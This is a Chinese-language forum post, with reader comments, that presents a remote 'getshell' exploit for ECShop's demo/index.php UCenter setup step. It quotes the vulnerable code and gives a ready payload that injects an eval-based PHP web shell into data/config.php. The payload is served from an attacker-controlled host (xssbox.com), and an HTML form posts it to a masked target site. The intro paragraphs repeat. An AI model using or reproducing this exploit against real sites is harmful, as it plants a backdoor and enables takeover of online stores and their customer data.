ECShop的一个getshell
在很久很久以前 这个漏洞就已经存在了,但是由于demo/这个目录一般都已经被删除了,所以挺鸡肋的。
昨天看到有同学发了一个demo/目录下的 本地包含(无法截断的情况下,实在没有太大意义),所以我就在回复中提了这个漏洞,原来我以为,出于技术交流目的,那提示已经完全足够了,后来发现我错了 。
因为N久没有审计过代码了,特地从官网上了一份最新的ECShop下来,这儿简单分析一下吧。
问题出在demo/index.php.save_uc_config函数分析就这样,给个exp.
Demo_shell.html在http://xssbox.com/curl/index.php中写入
1|1|');@eval($_REQUEST['O']);var_dump(3);//
提交后查看/data/config.php.
剩下的就不用说了,你们比我在行。
昨天看到有同学发了一个demo/目录下的 本地包含(无法截断的情况下,实在没有太大意义),所以我就在回复中提了这个漏洞,原来我以为,出于技术交流目的,那提示已经完全足够了,后来发现我错了 。
因为N久没有审计过代码了,特地从官网上了一份最新的ECShop下来,这儿简单分析一下吧。
问题出在demo/index.php.
case 'setup_ucenter' :
.....
$ucapi = !empty($_POST['ucapi']) ? trim($_POST['ucapi']) : ''; //可控
$ucip = !empty($_POST['ucip']) ? trim($_POST['ucip']) : '';
....
$ucconfig = dfopen($ucapi.'/index.php', 500, $postdata, '', 1, $ucip);//远程读取内容
if(empty($ucconfig))
{
//ucenter 验证失败
$result['error'] = 1;
$result['message'] = '验证失败';
}
elseif($ucconfig == '-1')
{
//管理员密码无效
$result['error'] = 1;
$result['message'] = '创始人密码错误';
}
else
{
list($appauthkey, $appid) = explode('|', $ucconfig);
if(empty($appauthkey) || empty($appid))
{
//ucenter 安装数据错误
$result['error'] = 1;
$result['message'] = '安装数据错误';
}
elseif(($succeed = save_uc_config($ucconfig."|$ucapi|$ucip"))) //将读取内容存入配置文件
{
$result['error'] = 0;
$result['message'] = 'OK';
}
else
{
//config文件写入错误
$result['error'] = 1;
$result['message'] = '配置文件写入错误';
}
}
die($json->encode($result));
break;
function save_uc_config($config)
{
global $db, $ecs;
$success = false;
list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = explode('|', $config); //$config完全可控
$config_file = ROOT_PATH . 'data/config.php';
$s = file_get_contents($config_file);
$s = insertconfig($s, "/\?\>/","");
$link = mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1);
$uc_connnect = $link && mysql_select_db($ucdbname, $link) ? 'mysql' : 'post';
$s = insertconfig($s, "/define\('EC_CHARSET',\s*'.*?'\);/i", "define('EC_CHARSET', '" . EC_CHARSET . "');");
$s = insertconfig($s, "/\/\*\=*UCenter\=*\*\//","/*=================UCenter=======================*/");
$s = insertconfig($s, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$uc_connnect');");
$s = insertconfig($s, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '$ucdbhost');");
$s = insertconfig($s, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '$ucdbuser');");
$s = insertconfig($s, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '$ucdbpw');");
$s = insertconfig($s, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '$ucdbname');");
$s = insertconfig($s, "/define\('UC_DBCHARSET',\s*'.*?'\);/i", "define('UC_DBCHARSET', '$ucdbcharset');");
$s = insertconfig($s, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');");
$s = insertconfig($s, "/define\('UC_DBCONNECT',\s*'.*?'\);/i", "define('UC_DBCONNECT', '0');");
$s = insertconfig($s, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '$appauthkey');");
$s = insertconfig($s, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$ucapi');");
$s = insertconfig($s, "/define\('UC_CHARSET',\s*'.*?'\);/i", "define('UC_CHARSET', '$uccharset');");
$s = insertconfig($s, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '$ucip');");
$s = insertconfig($s, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '$appid');");
$s = insertconfig($s, "/define\('UC_PPP',\s*'?.*?'?\);/i", "define('UC_PPP', '20');");
$s = insertconfig($s, "/\?\>/","?>");
return file_put_contents($config_file, $s);
}
Demo_shell.html
<form action="http://www.***.cn/demo/index.php" method="post">
<input name="step" value="setup_ucenter" type="hidden">
UCAPI:<input name="ucapi" type="text" value="http://xssbox.com/curl/"></br>
<input name="submit" value="submit" type="submit">
</form>
1|1|');@eval($_REQUEST['O']);var_dump(3);//
提交后查看/data/config.php.
剩下的就不用说了,你们比我在行。
评论37次
测试成功,前来报道
好多都没有demo目录了
鸡肋了- -
牛逼,不过demo目录一般都不存在的哦。。。
大牛 心情有没有好点
挺好挺好,代码审计
Lz.为了看这篇文章,我连发两个水贴,xi望不是最后一次来这里。呜呜。。。
好像是的,我也没成功
demo 目录绝大部分都删除了
都是哪些版本有demo?是不是之前所有版本中 凡是没有删掉demo目录的均可?
犀利。
挺好,不错!
最新的,支持楼主
我关注的是1w大洋到手了吗
多谢分享了。
收下了、
牛逼 顶一个~
测试没成功!!!!!!!!
本地搭建测试了一下,跟本行不通,分析的还是有道理的 if(file_exists(ROOT_PATH ."data/install.lock")) { die('You have installed! '); } 这个文件是不是直接影响你这个exp
这东西牛逼